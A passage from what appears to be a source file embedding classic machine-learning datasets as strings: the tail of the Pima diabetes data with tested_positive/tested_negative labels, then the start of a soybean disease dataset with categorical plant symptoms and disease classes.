0.365, 24, tested_positive\n1, 139, 62, 41, 480, 40.7, 0.536, 21, tested_negative\n0, 173, 78, 32, 265, 46.5, 1.159, 58, tested_negative\n4, 99, 72, 17, 0, 25.6, 0.294, 28, tested_negative\n8, 194, 80, 0, 0, 26.1, 0.551, 67, tested_negative\n2, 83, 65, 28, 66, 36.8, 0.629, 24, tested_negative\n2, 89, 90, 30, 0, 33.5, 0.292, 42, tested_negative\n4, 99, 68, 38, 0, 32.8, 0.145, 33, tested_negative\n4, 125, 70, 18, 122, 28.9, 1.144, 45, tested_positive\n3, 80, 0, 0, 0, 0, 0.174, 22, tested_negative\n6, 166, 74, 0, 0, 26.6, 0.304, 66, tested_negative\n5, 110, 68, 0, 0, 26, 0.292, 30, tested_negative\n2, 81, 72, 15, 76, 30.1, 0.547, 25, tested_negative\n7, 195, 70, 33, 145, 25.1, 0.163, 55, tested_positive\n6, 154, 74, 32, 193, 29.3, 0.839, 39, tested_negative\n2, 117, 90, 19, 71, 25.2, 0.313, 21, tested_negative\n3, 84, 72, 32, 0, 37.2, 0.267, 28, tested_negative\n6, 0, 68, 41, 0, 39, 0.727, 41, tested_positive\n7, 94, 64, 25, 79, 33.3, 0.738, 41, tested_negative\n3, 96, 78, 39, 0, 37.3, 0.238, 40, tested_negative\n10, 75, 82, 0, 0, 33.3, 0.263, 38, tested_negative\n0, 180, 90, 26, 90, 36.5, 0.314, 35, tested_positive\n1, 130, 60, 23, 170, 28.6, 0.692, 21, tested_negative\n2, 84, 50, 23, 76, 30.4, 0.968, 21, tested_negative\n8, 120, 78, 0, 0, 25, 0.409, 64, tested_negative\n12, 84, 72, 31, 0, 29.7, 0.297, 46, tested_positive\n0, 139, 62, 17, 210, 22.1, 0.207, 21, tested_negative\n9, 91, 68, 0, 0, 24.2, 0.2, 58, tested_negative\n2, 91, 62, 0, 0, 27.3, 0.525, 22, tested_negative\n3, 99, 54, 19, 86, 25.6, 0.154, 24, tested_negative\n3, 163, 70, 18, 105, 31.6, 0.268, 28, tested_positive\n9, 145, 88, 34, 165, 30.3, 0.771, 53, tested_positive\n7, 125, 86, 0, 0, 37.6, 0.304, 51, tested_negative\n13, 76, 60, 0, 0, 32.8, 0.18, 41, tested_negative\n6, 129, 90, 7, 326, 19.6, 0.582, 60, tested_negative\n2, 68, 70, 32, 66, 25, 0.187, 25, tested_negative\n3, 124, 80, 33, 130, 33.2, 0.305, 26, tested_negative\n6, 114, 0, 0, 0, 0, 0.189, 26, tested_negative\n9, 130, 70, 0, 0, 34.2, 0.652, 45, tested_positive\n3, 125, 58, 0, 0, 31.6, 0.151, 24, tested_negative\n3, 87, 60, 18, 0, 21.8, 0.444, 21, tested_negative\n1, 97, 64, 19, 82, 18.2, 0.299, 21, tested_negative\n3, 116, 74, 15, 105, 26.3, 0.107, 24, tested_negative\n0, 117, 66, 31, 188, 30.8, 0.493, 22, tested_negative\n0, 111, 65, 0, 0, 24.6, 0.66, 31, tested_negative\n2, 122, 60, 18, 106, 29.8, 0.717, 22, tested_negative\n0, 107, 76, 0, 0, 45.3, 0.686, 24, tested_negative\n1, 86, 66, 52, 65, 41.3, 0.917, 29, tested_negative\n6, 91, 0, 0, 0, 29.8, 0.501, 31, tested_negative\n1, 77, 56, 30, 56, 33.3, 1.251, 24, tested_negative\n4, 132, 0, 0, 0, 32.9, 0.302, 23, tested_positive\n0, 105, 90, 0, 0, 29.6, 0.197, 46, tested_negative\n0, 57, 60, 0, 0, 21.7, 0.735, 67, tested_negative\n0, 127, 80, 37, 210, 36.3, 0.804, 23, tested_negative\n3, 129, 92, 49, 155, 36.4, 0.968, 32, tested_positive\n8, 100, 74, 40, 215, 39.4, 0.661, 43, tested_positive\n3, 128, 72, 25, 190, 32.4, 0.549, 27, tested_positive\n10, 90, 85, 32, 0, 34.9, 0.825, 56, tested_positive\n4, 84, 90, 23, 56, 39.5, 0.159, 25, tested_negative\n1, 88, 78, 29, 76, 32, 0.365, 29, tested_negative\n8, 186, 90, 35, 225, 34.5, 0.423, 37, tested_positive\n5, 187, 76, 27, 207, 43.6, 1.034, 53, tested_positive\n4, 131, 68, 21, 166, 33.1, 0.16, 28, tested_negative\n1, 164, 82, 43, 67, 32.8, 0.341, 50, tested_negative\n4, 189, 110, 31, 0, 28.5, 0.68, 37, tested_negative\n1, 116, 70, 28, 0, 27.4, 0.204, 21, tested_negative\n3, 84, 68, 30, 106, 31.9, 0.591, 25, tested_negative\n6, 114, 88, 0, 0, 27.8, 0.247, 66, tested_negative\n1, 88, 62, 24, 44, 29.9, 0.422, 23, tested_negative\n1, 84, 64, 23, 115, 36.9, 0.471, 28, tested_negative\n7, 124, 70, 33, 215, 25.5, 0.161, 37, tested_negative\n1, 97, 70, 40, 0, 38.1, 0.218, 30, tested_negative\n8, 110, 76, 0, 0, 27.8, 0.237, 58, tested_negative\n11, 103, 68, 40, 0, 46.2, 0.126, 42, tested_negative\n11, 85, 74, 0, 0, 30.1, 0.3, 35, tested_negative\n6, 125, 76, 0, 0, 33.8, 0.121, 54, tested_positive\n0, 198, 66, 32, 274, 41.3, 0.502, 28, tested_positive\n1, 87, 68, 34, 77, 37.6, 0.401, 24, tested_negative\n6, 99, 60, 19, 54, 26.9, 0.497, 32, tested_negative\n0, 91, 80, 0, 0, 32.4, 0.601, 27, tested_negative\n2, 95, 54, 14, 88, 26.1, 0.748, 22, tested_negative\n1, 99, 72, 30, 18, 38.6, 0.412, 21, tested_negative\n6, 92, 62, 32, 126, 32, 0.085, 46, tested_negative\n4, 154, 72, 29, 126, 31.3, 0.338, 37, tested_negative\n0, 121, 66, 30, 165, 34.3, 0.203, 33, tested_positive\n3, 78, 70, 0, 0, 32.5, 0.27, 39, tested_negative\n2, 130, 96, 0, 0, 22.6, 0.268, 21, tested_negative\n3, 111, 58, 31, 44, 29.5, 0.43, 22, tested_negative\n2, 98, 60, 17, 120, 34.7, 0.198, 22, tested_negative\n1, 143, 86, 30, 330, 30.1, 0.892, 23, tested_negative\n1, 119, 44, 47, 63, 35.5, 0.28, 25, tested_negative\n6, 108, 44, 20, 130, 24, 0.813, 35, tested_negative\n2, 118, 80, 0, 0, 42.9, 0.693, 21, tested_positive\n10, 133, 68, 0, 0, 27, 0.245, 36, tested_negative\n2, 197, 70, 99, 0, 34.7, 0.575, 62, tested_positive\n0, 151, 90, 46, 0, 42.1, 0.371, 21, tested_positive\n6, 109, 60, 27, 0, 25, 0.206, 27, tested_negative\n12, 121, 78, 17, 0, 26.5, 0.259, 62, tested_negative\n8, 100, 76, 0, 0, 38.7, 0.19, 42, tested_negative\n8, 124, 76, 24, 600, 28.7, 0.687, 52, tested_positive\n1, 93, 56, 11, 0, 22.5, 0.417, 22, tested_negative\n8, 143, 66, 0, 0, 34.9, 0.129, 41, tested_positive\n6, 103, 66, 0, 0, 24.3, 0.249, 29, tested_negative\n3, 176, 86, 27, 156, 33.3, 1.154, 52, tested_positive\n0, 73, 0, 0, 0, 21.1, 0.342, 25, tested_negative\n11, 111, 84, 40, 0, 46.8, 0.925, 45, tested_positive\n2, 112, 78, 50, 140, 39.4, 0.175, 24, tested_negative\n3, 132, 80, 0, 0, 34.4, 0.402, 44, tested_positive\n2, 82, 52, 22, 115, 28.5, 1.699, 25, tested_negative\n6, 123, 72, 45, 230, 33.6, 0.733, 34, tested_negative\n0, 188, 82, 14, 185, 32, 0.682, 22, tested_positive\n0, 67, 76, 0, 0, 45.3, 0.194, 46, tested_negative\n1, 89, 24, 19, 25, 27.8, 0.559, 21, tested_negative\n1, 173, 74, 0, 0, 36.8, 0.088, 38, tested_positive\n1, 109, 38, 18, 120, 23.1, 0.407, 26, tested_negative\n1, 108, 88, 19, 0, 27.1, 0.4, 24, tested_negative\n6, 96, 0, 0, 0, 23.7, 0.19, 28, tested_negative\n1, 124, 74, 36, 0, 27.8, 0.1, 30, tested_negative\n7, 150, 78, 29, 126, 35.2, 0.692, 54, tested_positive\n4, 183, 0, 0, 0, 28.4, 0.212, 36, tested_positive\n1, 124, 60, 32, 0, 35.8, 0.514, 21, tested_negative\n1, 181, 78, 42, 293, 40, 1.258, 22, tested_positive\n1, 92, 62, 25, 41, 19.5, 0.482, 25, tested_negative\n0, 152, 82, 39, 272, 41.5, 0.27, 27, tested_negative\n1, 111, 62, 13, 182, 24, 0.138, 23, tested_negative\n3, 106, 54, 21, 158, 30.9, 0.292, 24, tested_negative\n3, 174, 58, 22, 194, 32.9, 0.593, 36, tested_positive\n7, 168, 88, 42, 321, 38.2, 0.787, 40, tested_positive\n6, 105, 80, 28, 0, 32.5, 0.878, 26, tested_negative\n11, 138, 74, 26, 144, 36.1, 0.557, 50, tested_positive\n3, 106, 72, 0, 0, 25.8, 0.207, 27, tested_negative\n6, 117, 96, 0, 0, 28.7, 0.157, 30, tested_negative\n2, 68, 62, 13, 15, 20.1, 0.257, 23, tested_negative\n9, 112, 82, 24, 0, 28.2, 1.282, 50, tested_positive\n0, 119, 0, 0, 0, 32.4, 0.141, 24, tested_positive\n2, 112, 86, 42, 160, 38.4, 0.246, 28, tested_negative\n2, 92, 76, 20, 0, 24.2, 1.698, 28, tested_negative\n6, 183, 94, 0, 0, 40.8, 1.461, 45, tested_negative\n0, 94, 70, 27, 115, 43.5, 0.347, 21, tested_negative\n2, 108, 64, 0, 0, 30.8, 0.158, 21, tested_negative\n4, 90, 88, 47, 54, 37.7, 0.362, 29, tested_negative\n0, 125, 68, 0, 0, 24.7, 0.206, 21, tested_negative\n0, 132, 78, 0, 0, 32.4, 0.393, 21, tested_negative\n5, 128, 80, 0, 0, 34.6, 0.144, 45, tested_negative\n4, 94, 65, 22, 0, 24.7, 0.148, 21, tested_negative\n7, 114, 64, 0, 0, 27.4, 0.732, 34, tested_positive\n0, 102, 78, 40, 90, 34.5, 0.238, 24, tested_negative\n2, 111, 60, 0, 0, 26.2, 0.343, 23, tested_negative\n1, 128, 82, 17, 183, 27.5, 0.115, 22, tested_negative\n10, 92, 62, 0, 0, 25.9, 0.167, 31, tested_negative\n13, 104, 72, 0, 0, 31.2, 0.465, 38, tested_positive\n5, 104, 74, 0, 0, 28.8, 0.153, 48, tested_negative\n2, 94, 76, 18, 66, 31.6, 0.649, 23, tested_negative\n7, 97, 76, 32, 91, 40.9, 0.871, 32, tested_positive\n1, 100, 74, 12, 46, 19.5, 0.149, 28, tested_negative\n0, 102, 86, 17, 105, 29.3, 0.695, 27, tested_negative\n4, 128, 70, 0, 0, 34.3, 0.303, 24, tested_negative\n6, 147, 80, 0, 0, 29.5, 0.178, 50, tested_positive\n4, 90, 0, 0, 0, 28, 0.61, 31, tested_negative\n3, 103, 72, 30, 152, 27.6, 0.73, 27, tested_negative\n2, 157, 74, 35, 440, 39.4, 0.134, 30, tested_negative\n1, 167, 74, 17, 144, 23.4, 0.447, 33, tested_positive\n0, 179, 50, 36, 159, 37.8, 0.455, 22, tested_positive\n11, 136, 84, 35, 130, 28.3, 0.26, 42, tested_positive\n0, 107, 60, 25, 0, 26.4, 0.133, 23, tested_negative\n1, 91, 54, 25, 100, 25.2, 0.234, 23, tested_negative\n1, 117, 60, 23, 106, 33.8, 0.466, 27, tested_negative\n5, 123, 74, 40, 77, 34.1, 0.269, 28, tested_negative\n2, 120, 54, 0, 0, 26.8, 0.455, 27, tested_negative\n1, 106, 70, 28, 135, 34.2, 0.142, 22, tested_negative\n2, 155, 52, 27, 540, 38.7, 0.24, 25, tested_positive\n2, 101, 58, 35, 90, 21.8, 0.155, 22, tested_negative\n1, 120, 80, 48, 200, 38.9, 1.162, 41, tested_negative\n11, 127, 106, 0, 0, 39, 0.19, 51, tested_negative\n3, 80, 82, 31, 70, 34.2, 1.292, 27, tested_positive\n10, 162, 84, 0, 0, 27.7, 0.182, 54, tested_negative\n1, 199, 76, 43, 0, 42.9, 1.394, 22, tested_positive\n8, 167, 106, 46, 231, 37.6, 0.165, 43, tested_positive\n9, 145, 80, 46, 130, 37.9, 0.637, 40, tested_positive\n6, 115, 60, 39, 0, 33.7, 0.245, 40, tested_positive\n1, 112, 80, 45, 132, 34.8, 0.217, 24, tested_negative\n4, 145, 82, 18, 0, 32.5, 0.235, 70, tested_positive\n10, 111, 70, 27, 0, 27.5, 0.141, 40, tested_positive\n6, 98, 58, 33, 190, 34, 0.43, 43, tested_negative\n9, 154, 78, 30, 100, 30.9, 0.164, 45, tested_negative\n6, 165, 68, 26, 168, 33.6, 0.631, 49, tested_negative\n1, 99, 58, 10, 0, 25.4, 0.551, 21, tested_negative\n10, 68, 106, 23, 49, 35.5, 0.285, 47, tested_negative\n3, 123, 100, 35, 240, 57.3, 0.88, 22, tested_negative\n8, 91, 82, 0, 0, 35.6, 0.587, 68, tested_negative\n6, 195, 70, 0, 0, 30.9, 0.328, 31, tested_positive\n9, 156, 86, 0, 0, 24.8, 0.23, 53, tested_positive\n0, 93, 60, 0, 0, 35.3, 0.263, 25, tested_negative\n3, 121, 52, 0, 0, 36, 0.127, 25, tested_positive\n2, 101, 58, 17, 265, 24.2, 0.614, 23, tested_negative\n2, 56, 56, 28, 45, 24.2, 0.332, 22, tested_negative\n0, 162, 76, 36, 0, 49.6, 0.364, 26, tested_positive\n0, 95, 64, 39, 105, 44.6, 0.366, 22, tested_negative\n4, 125, 80, 0, 0, 32.3, 0.536, 27, tested_positive\n5, 136, 82, 0, 0, 0, 0.64, 69, tested_negative\n2, 129, 74, 26, 205, 33.2, 0.591, 25, tested_negative\n3, 130, 64, 0, 0, 23.1, 0.314, 22, tested_negative\n1, 107, 50, 19, 0, 28.3, 0.181, 29, tested_negative\n1, 140, 74, 26, 180, 24.1, 0.828, 23, tested_negative\n1, 144, 82, 46, 180, 46.1, 0.335, 46, tested_positive\n8, 107, 80, 0, 0, 24.6, 0.856, 34, tested_negative\n13, 158, 114, 0, 0, 42.3, 0.257, 44, tested_positive\n2, 121, 70, 32, 95, 39.1, 0.886, 23, tested_negative\n7, 129, 68, 49, 125, 38.5, 0.439, 43, tested_positive\n2, 90, 60, 0, 0, 23.5, 0.191, 25, tested_negative\n7, 142, 90, 24, 480, 30.4, 0.128, 43, tested_positive\n3, 169, 74, 19, 125, 29.9, 0.268, 31, tested_positive\n0, 99, 0, 0, 0, 25, 0.253, 22, tested_negative\n4, 127, 88, 11, 155, 34.5, 0.598, 28, tested_negative\n4, 118, 70, 0, 0, 44.5, 0.904, 26, tested_negative\n2, 122, 76, 27, 200, 35.9, 0.483, 26, tested_negative\n6, 125, 78, 31, 0, 27.6, 0.565, 49, tested_positive\n1, 168, 88, 29, 0, 35, 0.905, 52, tested_positive\n2, 129, 0, 0, 0, 38.5, 0.304, 41, tested_negative\n4, 110, 76, 20, 100, 28.4, 0.118, 27, tested_negative\n6, 80, 80, 36, 0, 39.8, 0.177, 28, tested_negative\n10, 115, 0, 0, 0, 0, 0.261, 30, tested_positive\n2, 127, 46, 21, 335, 34.4, 0.176, 22, tested_negative\n9, 164, 78, 0, 0, 32.8, 0.148, 45, tested_positive\n2, 93, 64, 32, 160, 38, 0.674, 23, tested_positive\n3, 158, 64, 13, 387, 31.2, 0.295, 24, tested_negative\n5, 126, 78, 27, 22, 29.6, 0.439, 40, tested_negative\n10, 129, 62, 36, 0, 41.2, 0.441, 38, tested_positive\n0, 134, 58, 20, 291, 26.4, 0.352, 21, tested_negative\n3, 102, 74, 0, 0, 29.5, 0.121, 32, tested_negative\n7, 187, 50, 33, 392, 33.9, 0.826, 34, tested_positive\n3, 173, 78, 39, 185, 33.8, 0.97, 31, tested_positive\n10, 94, 72, 18, 0, 23.1, 0.595, 56, tested_negative\n1, 108, 60, 46, 178, 35.5, 0.415, 24, tested_negative\n5, 97, 76, 27, 0, 35.6, 0.378, 52, tested_positive\n4, 83, 86, 19, 0, 29.3, 0.317, 34, tested_negative\n1, 114, 66, 36, 200, 38.1, 0.289, 21, tested_negative\n1, 149, 68, 29, 127, 29.3, 0.349, 42, tested_positive\n5, 117, 86, 30, 105, 39.1, 0.251, 42, tested_negative\n1, 111, 94, 0, 0, 32.8, 0.265, 45, tested_negative\n4, 112, 78, 40, 0, 39.4, 0.236, 38, tested_negative\n1, 116, 78, 29, 180, 36.1, 0.496, 25, tested_negative\n0, 141, 84, 26, 0, 32.4, 0.433, 22, tested_negative\n2, 175, 88, 0, 0, 22.9, 0.326, 22, tested_negative\n2, 92, 52, 0, 0, 30.1, 0.141, 22, tested_negative\n3, 130, 78, 23, 79, 28.4, 0.323, 34, tested_positive\n8, 120, 86, 0, 0, 28.4, 0.259, 22, tested_positive\n2, 174, 88, 37, 120, 44.5, 0.646, 24, tested_positive\n2, 106, 56, 27, 165, 29, 0.426, 22, tested_negative\n2, 105, 75, 0, 0, 23.3, 0.56, 53, tested_negative\n4, 95, 60, 32, 0, 35.4, 0.284, 28, tested_negative\n0, 126, 86, 27, 120, 27.4, 0.515, 21, tested_negative\n8, 65, 72, 23, 0, 32, 0.6, 42, tested_negative\n2, 99, 60, 17, 160, 36.6, 0.453, 21, tested_negative\n1, 102, 74, 0, 0, 39.5, 0.293, 42, tested_positive\n11, 120, 80, 37, 150, 42.3, 0.785, 48, tested_positive\n3, 102, 44, 20, 94, 30.8, 0.4, 26, tested_negative\n1, 109, 58, 18, 116, 28.5, 0.219, 22, tested_negative\n9, 140, 94, 0, 0, 32.7, 0.734, 45, tested_positive\n13, 153, 88, 37, 140, 40.6, 1.174, 39, tested_negative\n12, 100, 84, 33, 105, 30, 0.488, 46, tested_negative\n1, 147, 94, 41, 0, 49.3, 0.358, 27, tested_positive\n1, 81, 74, 41, 57, 46.3, 1.096, 32, tested_negative\n3, 187, 70, 22, 200, 36.4, 0.408, 36, tested_positive\n6, 162, 62, 0, 0, 24.3, 0.178, 50, tested_positive\n4, 136, 70, 0, 0, 31.2, 1.182, 22, tested_positive\n1, 121, 78, 39, 74, 39, 0.261, 28, tested_negative\n3, 108, 62, 24, 0, 26, 0.223, 25, tested_negative\n0, 181, 88, 44, 510, 43.3, 0.222, 26, tested_positive\n8, 154, 78, 32, 0, 32.4, 0.443, 45, tested_positive\n1, 128, 88, 39, 110, 36.5, 1.057, 37, tested_positive\n7, 137, 90, 41, 0, 32, 0.391, 39, tested_negative\n0, 123, 72, 0, 0, 36.3, 0.258, 52, tested_positive\n1, 106, 76, 0, 0, 37.5, 0.197, 26, tested_negative\n6, 190, 92, 0, 0, 35.5, 0.278, 66, tested_positive\n2, 88, 58, 26, 16, 28.4, 0.766, 22, tested_negative\n9, 170, 74, 31, 0, 44, 0.403, 43, tested_positive\n9, 89, 62, 0, 0, 22.5, 0.142, 33, tested_negative\n10, 101, 76, 48, 180, 32.9, 0.171, 63, tested_negative\n2, 122, 70, 27, 0, 36.8, 0.34, 27, tested_negative\n5, 121, 72, 23, 112, 26.2, 0.245, 30, tested_negative\n1, 126, 60, 0, 0, 30.1, 0.349, 47, tested_positive\n1, 93, 70, 31, 0, 30.4, 0.315, 23, tested_negative\n\"\"\"\n\n\nsoybean = \"\"\"\ndate, plant-stand,precip,temp,hail,crop-hist,area-damaged,severity,seed-tmt,germination,plant-growth,leaves,leafspots-halo,leafspots-marg,leafspot-size,leaf-shread,leaf-malf,leaf-mild,stem,lodging,stem-cankers,canker-lesion,fruiting-bodies,external-decay,mycelium,int-discolor,sclerotia,fruit-pods,fruit-spot,seed,mold-growth,seed-discolor,seed-size,shriveling,roots,!class\noctober, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, severe, fungicide, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\njuly, normal, gt-norm, norm, yes, same-lst-yr, scattered, severe, fungicide, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\njuly, normal, gt-norm, norm, yes, same-lst-yr, scattered, severe, none, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\noctober, normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, pot-severe, none, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, pot-severe, fungicide, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\naugust, normal, gt-norm, norm, no, same-lst-yr, scattered, pot-severe, none, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\noctober, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, fungicide, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, severe, none, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\noctober, normal, lt-norm, gt-norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, 90- \\\n 100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\naugust, normal, lt-norm, norm, no, same-lst-yr, whole-field, pot-severe, fungicide, 80- \\\n 89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\njuly, normal, lt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, none, 90- \\\n 100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\noctober, normal, lt-norm, norm, no, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 90- \\\n 100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\noctober, normal, lt-norm, gt-norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, 80- \\\n 89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\nseptember, normal, lt-norm, gt-norm, no, same-lst-sev-yrs, whole-field, pot-severe, fungicide, lt- \\\n 80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\noctober, normal, lt-norm, gt-norm, no, diff-lst-year, upper-areas, pot-severe, none, 90- \\\n 100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\naugust, normal, lt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80- \\\n 89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\njuly, normal, lt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, lt- \\\n 80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\nseptember, normal, lt-norm, gt-norm, no, same-lst-two-yrs, upper-areas, pot-severe, none, lt- \\\n 80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\nmay, lt-normal, gt-norm, lt-norm, yes, same-lst-two-yrs, low-areas, severe, none, lt-80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, present, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\nmay, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, low-areas, severe, none, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\njuly, normal, gt-norm, lt-norm, no, same-lst-sev-yrs, low-areas, severe, none, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, no, below-soil, brown, absent, firm-and-dry, present, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\napril, lt-normal, gt-norm, lt-norm, yes, diff-lst-year, low-areas, pot-severe, fungicide, lt-80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\napril, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, low-areas, severe, fungicide, lt-80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\nmay, lt-normal, gt-norm, lt-norm, yes, same-lst-sev-yrs, low-areas, severe, none, lt-80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\nmay, lt-normal, gt-norm, lt-norm, yes, diff-lst-year, low-areas, pot-severe, none, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\njune, lt-normal, gt-norm, lt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\nmay, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, low-areas, severe, none, lt-80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\njune, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, low-areas, severe, none, lt-80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\napril, lt-normal, gt-norm, norm, no, same-lst-yr, low-areas, pot-severe, none, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, dk-brown-blk, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\nmay, lt-normal, gt-norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, lt-norm, yes, same-lst-two-yrs, low-areas, severe, fungicide, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, gt-norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, 